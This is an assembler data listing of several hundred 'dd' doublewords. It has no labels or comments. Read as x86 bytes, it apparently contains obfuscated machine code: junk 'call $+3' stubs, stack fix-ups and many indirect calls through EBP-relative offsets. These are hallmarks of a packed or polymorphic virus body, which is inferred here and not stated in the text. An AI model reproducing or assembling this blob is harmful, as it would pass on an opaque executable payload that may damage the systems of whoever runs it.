		dd 95FF6495h, 6AC0135h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 34C35141h, 0FABA70D5h, 5B1DE6D4h, 10718D29h
		dd 958D06ACh, 6AC1521h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 2C35545h, 1A89E8B0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 1AC35545h, 4FAA0E77h, 0E78DC94Eh
		dd 0CABF0F8Eh, 6A044289h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0DFD9C353h,	8D8BE9FFh
		dd 6AC1541h, 2539B529h,	958D06ACh, 6AC192Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 50C35141h, 0D9B52B4Ch
		dd 8906AC00h, 0AC1EA98Dh, 8B1A8906h, 0AC088D8Dh, 4428906h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D9C35747h
		dd 0F1DAD586h, 0B966DEF1h, 890F902Dh, 15h, 10E9h, 117FEE00h
		dd 0FB26D115h, 63047671h, 341D7130h, 13E83Dh, 23F70000h
		dd 2AA7B85Ch, 0D9B8CE4Fh, 673A6DEEh, 2B2601F4h,	0FAB96640h
		dd 958D5E8Dh, 6AC01FDh,	2079BD8Bh, 1A8906ACh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 26C35545h, 0A965AC1h
		dd 8920CA24h, 81660442h, 8D1877F6h, 0AC349D95h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 1DB34E19h, 4B94C68Eh, 1071B589h, 1A8906ACh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BBC35040h, 671577A7h
		dd 4428919h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0D5C35646h, 14E9BCBEh, 0D4000000h, 0B463C25h, 15811334h
		dd 9CC49E41h, 0AB764E92h, 89FF4786h, 0AC12BD8Dh, 55958D06h
		dd 0E906AC0Ch, 7, 352129C9h, 894A619Dh,	51006A1Ah, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0FFD95B40h, 86E56423h, 318589h, 428906ACh, 0CE816604h
		dd 0B5899175h, 6AC0551h, 3041958Dh, 816606ACh, 8981D3C1h
		dd 0AC12858Dh, 291A8906h, 0AC1BE1B5h, 4428906h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ADC35343h, 6EA19E14h
		dd 7A172917h, 16870F50h, 0E8000000h, 0Dh, 0C698814Ch, 86FC0B0Eh
		dd 496207D2h, 0CF8B66B8h, 2D958D59h, 6606AC07h,	0F873D181h
		dd 577457B9h, 6A1A890Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 9524C353h, 81667F07h
		dd 0E8F670F7h, 0Dh, 0FE256E1Fh,	0F3C6F7EBh, 366A9772h
		dd 0EE807h, 1C2C0000h, 0CB9C6B8Bh, 0B54477D0h, 5376A614h
		dd 895959F8h, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0BAE18BC3h, 4CCD5DD1h, 8B669AC4h
		dd 0F0BF0FF0h, 1A49958Dh, 0B58B06ACh, 6AC3521h,	30159589h
		dd 1A8906ACh, 30C19589h, 428906ACh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0A7F5F116h
		dd 9AE9C9C1h, 0F000000h, 6AFABFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0EC35040h, 66B3BE82h, 5F6EF181h
		dd 30EDBD8Bh, 6A06ACh, 9D89006Ah, 6AC2521h, 10E9h, 61EE8500h
		dd 4F1F2FB5h, 0F89B82EDh, 0E5BEDC77h, 6A006A58h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 39F2C353h, 68C0F82h,	81000000h, 73CB21CFh, 0C98D332Fh
		dd 0FF06AC2Eh, 0AC017595h, 7FBF6006h, 89798A97h, 0AC10E1BDh
		dd 8BC36106h, 0AC0D7D8Dh, 1C58A06h, 0AC122D8Dh,	6AC08B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 145EC351h, 0B8473971h, 833DF268h,	0AC1E85BDh
		dd 9750006h, 0A29BD83h,	740006ACh, 8B535019h, 438B8C0h
		dd 85890000h, 6AC0C01h,	0A2CB9D8Dh, 0D3FF06AEh,	0BD83585Bh
		dd 6AC0A29h, 50177400h,	438B853h, 85890000h, 6AC0C01h
		dd 9F6C9D8Dh, 0D3FF06AEh, 6A585Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C16018C3h, 6890FCCh
		dd 33000000h, 0AC278D8Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0A9A24F4Eh
		dd 0B58BE305h, 6AC0121h, 1516ABBEh, 8DC08B16h, 0AC274185h
		dd 6650F806h, 489FA8Bh,	0EABF6624h, 6A006A18h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7582C356h, 0EFDD6899h, 2FC9D0BDh, 1EC1B589h,	6A06ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 22C35545h
		dd 0E40FC85Eh, 0A2858D03h, 906B03Ch, 0AC25C995h, 5C08306h
		dd 0A5D88060h, 0D7B70F53h, 0F906158h, 881h, 28D0F00h, 0B7000000h
		dd 0DE850C5h, 1D000000h, 4D3FE9C5h, 96DF3A75h, 1D1BCB85h
		dd 13E9h, 0C177C300h, 2B677739h, 67BB7373h, 3015966Fh
		dd 84030BD3h, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 4C4C35C3h, 7E9h,	0A6490800h, 0C4C2E751h
		dd 9589006Ah, 6AC0C85h,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0C5A320C3h, 0F844BDFh
		dd 388h, 0D88B6600h, 0AF995FFh,	6A06ACh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 422676C3h
		dd 0B185897Fh, 8D06AC11h, 0AF8B808Dh, 83D1FF06h, 0AC0161BDh
		dd 850F0106h, 0C2h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0B9C35040h, 11F86549h, 13B1BD89h, 0F5006ACh
		dd 1789h, 12E900h, 0FC510000h, 0AFD60104h, 0BE3BBBA7h
		dd 4EFAF44Ah, 7E99030Eh, 6A026A5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1CE6C353h
		dd 0BEB1F805h, 0C7C806E0h, 0CBDBD8Bh, 9D0B06ACh, 6AC14D1h
		dd 66525050h, 310FFE8Bh, 61ECB360h, 489585Ah, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E9FF8FB2h, 7, 0E3680FFCh, 6696F32Ah, 0FFAD17BBh, 0AC0DA595h
		dd 0BF0F6006h, 82E961DAh, 0E800000Eh, 0
		dd 0ACED815Dh, 6A06B03Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9B66C357h, 8B41A81Ch
		dd 0AC30FDBDh, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0DE112697h, 0B8A9DF33h
		dd 3B858DEAh, 6A06AF7Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 64B9C355h, 0CDE04B4Bh
		dd 0CE98831h, 0F5000000h, 5529ADDh, 67A8921Eh, 506072F2h
		dd 850F6060h, 0
		dd 61615F50h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 570BC352h, 65620BE4h
		dd 216B7E03h, 64EFB7F8h, 35FFh,	9D8B0000h, 6AC3109h, 258964h
		dd 66000000h, 0F63DC381h, 337585FFh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 2B44ADC3h
		dd 1AD7C37Eh, 9343835h,	0AC1BC99Dh, 816FBB06h, 0FF6A0013h
		dd 0FFD88B66h, 0AC0925B5h, 0A5BB6606h, 6995FFF7h, 0E906AC20h
		dd 10Ah, 0B0DE8B66h, 8970E600h,	0AC34919Dh, 0E871E406h
		dd 13h,	0B0BE817Ah, 0FE705974h,	64FE3488h, 8094C556h, 80860D99h
		dd 315F84F7h, 0AC0C0D8Dh, 0F613C06h, 0D183h, 0C8B60F00h
		dd 6BAF8h, 0B70F0000h, 0E9C18BD8h, 7, 9BC3226Eh, 0C18A339Bh
		dd 0F98B04E8h, 66E2F766h, 2B9C90BBh, 559D8BC8h,	0F806AC09h
		dd 890FD18Bh, 18h, 13E9h, 0E03DF100h, 0FDB0BD8Fh, 6DD08154h
		dd 30F84E3Ch, 557F12BCh, 6E9h, 7ADF8100h, 8B08BF22h, 0AC152185h
		dd 0F19D8B06h, 8306AC1Fh, 9D8B07C0h, 6AC10A1h, 8100C083h
		dd 0FF3C4F3h, 0FD03B48h, 1C83h,	0FA8B6600h, 49E9h, 9E85300h
		dd 36000000h, 608250F9h, 424A74CBh, 5FFE8B66h, 0A18D8B5Fh
		dd 8B06AC24h, 0AC315D9Dh, 1E18306h, 20840Fh, 0E3810000h
		dd 582BBA3Dh, 24A1A583h, 89FE06ACh, 0AC152195h,	0FEBB306h
		dd 82h,	0E900h,	0B58D0000h, 6AFC9E2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 22C35545h, 0B59D8900h, 6A06AC14h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0E8D59C3Dh, 0F464878h, 1C38BF66h, 95FF5F51h
		dd 6AC2145h, 30659D89h,	23B906ACh, 6A000007h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 56E6C351h, 11E9A8A7h, 20000000h, 1C870E0Ah, 0DD1830D4h
		dd 518213DFh, 0F64D264Bh, 6AFCE183h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5C45C357h
		dd 994CD03Ah, 0FC4AF6F1h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0F7C35141h, 244E307Ah, 0E3E4EF8Eh, 6890F86h
		dd 1000000h, 0AC0B21B5h, 0B806h, 9D8B0000h, 6AC1259h, 8166D22Bh
		dd 0E95B92DFh, 0Bh, 6ADB9C9Bh, 581D2D12h, 0AD5D26DBh, 0E8D1C233h
		dd 0E983D003h, 81F47504h, 3995CCBh, 6DBD8B2Eh, 0D06AC08h
		dd 88h,	571BD23h, 958B06ACh, 6AC2F0Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 49C35545h, 0A5ACD2Bh, 58D8B50h
		dd 6A06AC1Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4489C356h, 8E57E5D7h, 2DD5BD09h
		dd 8B5006ACh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 34C35646h
		dd 0A225DA21h, 68C943D7h, 31FFBF2Dh, 0E381270Eh, 1F8DF0B2h
		dd 1229BD83h, 0F0006ACh, 8184h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 89BD2BCCh
		dd 0B806AC33h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0CBC35343h
		dd 3A205C6Bh, 0C6CB805Ch, 4E338D8Dh, 9D0306ACh,	6AC1B59h
		dd 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E90306C3h, 6, 0A50B192h,	0BD83F6DEh, 6AC27F1h
		dd 8E840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 31D5C350h, 85294BA0h
		dd 6AC174Dh, 0F1BD83F8h, 106AC27h, 476840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 7C42E5C3h, 0E9F63EBCh, 0BD838D0Ah, 6AC27F1h,	0F860F03h
		dd 89000004h, 0AC087D95h, 0D1BD8B06h, 6006AC23h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0C9C35040h, 14EB8058h
		dd 8BD98C66h, 0AC1ABD9Dh, 4E18006h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 6FC35747h, 0B73E5FB0h, 0E8FD57BAh
		dd 0Eh,	7867FE89h, 7778CD31h, 0C96C8C5Ch, 5E9CE23h, 8000000h
		dd 10966097h, 0FC90A5Bh, 13084h, 0F8BB6600h, 0B9858B08h
		dd 6A06AC32h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0BB15C351h, 853376B7h,	6AC19E9h
		dd 8B666050h, 7E8D1h, 0D2830000h, 2B362662h, 5B616030h
		dd 24048961h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	89C35747h, 7A1F3427h, 9D2B9088h, 6AC14B5h, 7CAABB66h
		dd 9D89006Ah, 6AC201Dh,	28C0Fh,	5B570000h, 0E634F968h
		dd 81F88B3Dh, 37062434h, 6A3DF9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 871FB7C3h, 8B972997h
		dd 0AC353D9Dh, 0BD95FF06h, 6A06AC09h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0CBE3C350h
		dd 0CF28DCA9h, 8B60B30Ah, 0AC0EA98Dh, 0AD858B06h, 6106AC10h
		dd 0B21D8589h, 6A06AFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 50B333C3h, 858915FCh, 6AC237Dh
		dd 1ACE9h, 0AE800h, 84EB0000h, 6232A5F0h, 0DC4570C6h, 15858B5Bh
		dd 0B306AFB2h, 1800C7E2h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 3C56C350h
		dd 68E78166h, 299D23C0h, 8B06AC09h, 0AFB219B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F9397114h, 8BDE8B66h, 0AC00A985h, 0DF816606h, 6895430h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h
		dd 1FF2827Ah, 71B58B60h, 8B06AC12h, 858B61FAh, 6AC32B9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h
		dd 0FDEE29ACh, 36AC2A32h, 68A0F61h, 89000000h, 0AC09E985h
		dd 0F59D8B06h, 8906AC34h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0B80C12C3h, 11496DF7h
		dd 80EE33BFh, 66500ECBh, 3489DF8Bh, 15B5FF24h, 8906AFB2h
		dd 0AC1BC9B5h, 0DEBF0F06h, 99BE2D68h, 81F5B73Ch, 0BDD22434h
		dd 95013C86h, 6AC3151h,	0B21D858Dh, 6E906AFh, 40000000h
		dd 0B59FDEC5h, 0E86090FDh, 0Ah,	4D31F885h, 2790CC47h, 665FC285h
		dd 5061FE8Bh, 290FABBh,	6A9059h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 268481C3h, 9BD95FFh
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 897F4FC3h, 0AC21E98Dh, 6A6106h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0CF2DC4C3h
		dd 0E9248539h, 0Ah, 57718A5Ch, 0CA9E4FFAh, 85C7AE62h, 6AC27F1h
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 1Ah
		dd 10C35040h, 0DA75EDE8h, 0BD2BAA11h, 6AC0BB9h,	21858960h
		dd 5306AC33h, 6559D89h,	615F06ACh, 0B21DBD83h, 0F0006AFh
		dd 4184h, 0FE900h, 0FB3D0000h, 8D140AE6h, 25F004h, 0B9053FF1h
		dd 43E92Ch, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 889FFBC3h, 0FE256E1Fh, 2239B589h
		dd 305006ACh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0D7BDF4C3h, 14859529h, 0BB6606ACh
		dd 0BD8B5B4Dh, 6AC2581h, 27F1BD83h, 0F0306ACh, 4A885h
		dd 14E800h, 21620000h, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h
		dd 9F4B78B1h, 25B75218h, 9E95Fh, 0A8B60000h, 87DA5B6Bh
		dd 831AFAE8h, 0AFB21DBDh, 840F0006h, 471h, 0FFD9B70Fh
		dd 0AFB21DB5h, 0ED9D8906h, 0F06AC20h, 0E84h, 0F7816000h
		dd 207B288Ch, 27559D09h, 0FF6106ACh, 0AC09C595h, 11B58B06h
		dd 8B06AFB2h, 106C7FAh,	6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 7D69C351h
		dd 5096CAB7h, 5F2CB353h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 1DB5FFF9h, 6606AFB2h
		dd 0FF163ABBh, 0AC1F5595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9E744FB0h
		dd 788CA801h, 15852951h, 5F06AC2Eh, 0B211B58Bh,	6A06AFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6C4E08C3h, 676130F3h, 81858965h, 8B06AC0Ah, 0AC00E585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3571D8FAh, 0F5140EDh, 68Dh, 50F38100h, 8963504Dh
		dd 0C486h, 0D9B70F00h, 2F0D958Bh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0DDDD36C3h
		dd 12E9h, 0CD2DD00h, 1C9C4EF8h,	1961EADBh, 51652842h, 83220B24h
		dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 417C7DC3h, 0AF115987h, 26C18531h,	508906ACh
		dd 57006A20h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 97B5D9C1h, 9D8B5F87h, 6AC28D5h, 0D7816657h
		dd 0BB5F54CEh, 7E462D85h, 0C71E858Dh, 6A06AFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 5F6907C3h, 89D0DCF1h, 0AC2E55B5h, 0B8868906h, 8A000000h
		dd 6A006AF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0F290C353h, 6B628975h,	0D6A5C55h
		dd 12159D0Bh, 0B5FF06ACh, 6AFB21Dh, 0DA8B6660h,	0FF6195B3h
		dd 0AC0DA595h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0D7F781D9h, 0E919325Ch
		dd 8, 491C4A56h, 90EC53A2h
		dd 60606096h, 61CE8B61h, 14E9h,	0E311B00h, 7C3B613Ch, 0B66F87E7h
		dd 52029001h, 0A3BF81DDh, 6050615Ah, 8C0Fh, 8B660000h
		dd 6A9661F8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 888AC352h, 0BD8B3A00h,	6AC121Dh
		dd 2F19BD89h, 0B5FF06ACh, 6AFB21Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 36C35040h, 39227C88h, 5ABF2252h
		dd 0AE924h, 89530000h, 0A7D01BE0h, 62D28372h, 90D95FFh
		dd 0DB8106ACh, 30D0D78Ch, 0B61BD83h, 0F0006ACh,	5484h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 4E959582h, 10D96277h, 1CD1E781h,	66534C27h
		dd 0E95FD98Bh, 0Ah, 3591FD87h, 0CE8F1B8Dh, 6650B0F8h, 3489DA8Bh
		dd 8B605324h, 0AC28FDBDh, 9D852906h, 6106AC1Fh,	1DB5FF5Bh
		dd 0E906AFB2h, 0Bh, 0ECD6AC4Ah,	0D2480425h, 0FF952189h
		dd 0AC213595h, 0FFE8B06h, 0C8Bh, 6870F00h, 9000000h, 0AC0ADDB5h
		dd 1DB5FF06h, 6A06AFB2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0BD1EC351h,	608A12C9h
		dd 8D29F860h, 6AC1ECDh,	9E861h,	0E6D00000h, 0DA292001h
		dd 8B7DEF1Dh, 0AC05A59Dh, 0FF615B06h, 0AC14D995h, 61858906h
		dd 8306AC21h, 0AC01E9BDh, 840F0206h, 53h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0AC35646h, 0C00A6A83h
		dd 0F5BFC366h, 68B0F05h, 8B000000h, 0AC1DF59Dh,	0A9858B06h
		dd 0E806AC05h, 0Bh, 0FB13A6ABh,	0DAE3D8ECh, 5B687AFFh
		dd 8B0000C6h, 159D8BFAh, 0C706AC15h, 0AC300185h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0CBB0BB8Eh, 8B8B7524h, 0F2C4E9D9h, 0BD29FFFFh, 6AC20D9h
		dd 8BF8B70Fh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 8C94617Fh, 47AC1104h, 41858D35h
		dd 6A06AC27h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 282DC351h, 1B2304B6h, 0C78109F5h
		dd 7A9C2D4Ah, 4880Fh, 0BB660000h, 0E890E880h, 13h, 0F1E4351Eh
		dd 0A0EA385Bh, 0EF58E0Ah, 1EAAA738h, 5B6E89A9h,	0C8A0F50h
		dd 50000000h, 0DA8B6652h, 8B66310Fh, 90585AD9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0AEC35040h, 0B1958952h
		dd 5B06AC24h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 54B584C3h, 75CBBF19h, 0B5894968h
		dd 6AC0B35h, 0DE8006Ah,	22000000h, 0AA4B25BDh, 0DA2F8A1Ah
		dd 5DE39123h, 5BFA8B66h, 4D4D858Dh, 0BB6606B0h,	0C0836153h
		dd 0F5852905h, 9006AC2Ah, 9050F98Bh, 1F919D8Bh,	6A06ACh
		dd 0E11BD2Bh, 8B6606ACh, 6A006AD9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A7B3C350h
		dd 0E01BD07Fh, 0D8B70FBDh, 0AF995FFh, 6A06ACh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 29682C3h, 6D482528h,	0F98B69E4h, 8B808D8Dh, 6A06AFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 8FE5BFC3h, 0FE9E8h, 10860000h, 183E06EEh, 408C90ABh
		dd 0D7C92806h, 6AD1FFD0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0FDB1C351h,	30B62CEBh
		dd 0BD8B64CAh, 6AC14FDh, 12E9h,	0C59BF500h, 93CB9D87h
		dd 0E2FA201Ch, 71A12BCDh, 832E923Ch, 0AC0161BDh, 850F0106h
		dd 51h,	3005BD89h, 9D8906ACh, 6AC0E45h,	8160026Ah, 0E823D9EEh
		dd 50906101h, 9D13BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 372F1D9Ah, 0B92A2124h
		dd 84A2BBBBh, 95FF167Ch, 6AC0DA5h, 8BC78053h, 0F04E95Fh
		dd 0E80000h, 5D000000h,	4D57ED81h, 6A06B0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0ACE293C3h
		dd 66CD1C2Eh, 0DA8ADA8Bh, 7E3B858Dh, 13E806AFh,	0BF000000h
		dd 1BE83E56h, 9A12F958h, 8E7C9491h, 4D0D9697h, 0AE963CBh
		dd 0FD000000h, 4F628587h, 0C06C3596h, 0BF505FE8h, 529C3A12h
		dd 0F240489h, 0FF64FEB7h, 35h, 25896400h, 0
		dd 33B1B589h, 0B70F06ACh, 7585FFFFh, 6A06AC33h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 3809C356h, 9E99D8Bh,	0FF6A06ACh, 0FFFB8B66h,	0AC0D79B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9D8B8FCFh, 6AC0FE1h, 206995FFh, 55E906ACh
		dd 66000001h, 0B02CC8BFh, 3D9D8B00h, 0E606AC2Bh, 959D8B70h
		dd 0E406AC1Eh, 519D8B71h, 8B06AC1Ah, 0AC2E759Dh, 0F613C06h
		dd 12B83h, 0BE96000h, 59000000h, 7B240102h, 0F66CA3F9h
		dd 958B1D9Fh, 6AC2525h,	0C8B60F61h, 2001BD33h, 0BD0306ACh
		dd 6AC11F1h, 6BAh, 0DA8B6600h, 8589C18Bh, 6AC2799h, 904E8C1h
		dd 0AC0F9195h, 0E2F76606h, 10E9h, 0AAB1AC00h, 70EF9A78h
		dd 2C7131B4h, 0F09600D4h, 0FC82B27h, 68Dh, 1B58900h, 8B06AC15h
		dd 0BDBD8BD1h, 0E906AC2Eh, 18h,	0DE9h, 27BD0400h, 0C6FCCB68h
		dd 1AF848FAh, 0BD8BD0B0h, 6AC067Dh, 192D858Bh, 8F0F06ACh
		dd 2, 81665B53h, 83C2A2E7h, 8B6607C0h, 0C083DAh, 9E8h
		dd 6C18E900h, 5B180E15h, 9D894E31h, 6AC07D1h, 0FD03B5Bh
		dd 1E83h, 0B27BB00h, 5DE928A4h,	0E9000000h, 0Fh, 4CF2282h
		dd 0B9E70E2Ah, 0D8D82BDEh, 8B6A223Fh, 0AC0FF98Dh, 1858906h
		dd 8306AC2Eh, 840F01E1h, 34h, 3BA76DBBh, 0F9A5836Bh, 0FE06AC0Fh
		dd 5E960h, 0C6EE0000h, 0F64D6F4h, 686h,	599D8900h, 6106AC25h
		dd 192D9589h, 816606ACh, 0E94831DFh, 0
		dd 0D2B5B58Dh, 0BE906AFh, 0A5000000h, 78C25358h, 0E56EDFC2h
		dd 890FFCC8h, 2, 6AA0B7h, 0BE59D2Bh, 97BB06ACh,	0FF54AAE7h
		dd 0AC214595h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 36668D8Eh, 8BAFD96Bh
		dd 0AC2D999Dh, 45BD8B06h, 0B906AC13h, 0F4Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 1793820h
		dd 0DF5B4EF1h, 0A2DBD89h, 0E18306ACh, 51006AFCh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 588C8866h, 7FE36B50h, 5FB7E03Ch, 0FCDE8B66h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F5C35747h, 3514B261h
		dd 97385E12h, 66C02B90h, 891E781h, 0BAh, 3AC38100h, 0AD7E5FFBh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89CAC355h
		dd 0AC33F995h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 5AEBE3B7h, 0E989AA78h
		dd 8B6673ABh, 880DF8h, 0BF0F0000h, 0D958BFAh, 0F06AC2Fh
		dd 0B83h, 6E900h, 8A7A0000h, 3A6CC78Fh,	1E058D8Bh, 6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E4AB1CC3h, 0AE8h, 0C691BC00h, 3481D0E5h, 896F58C1h
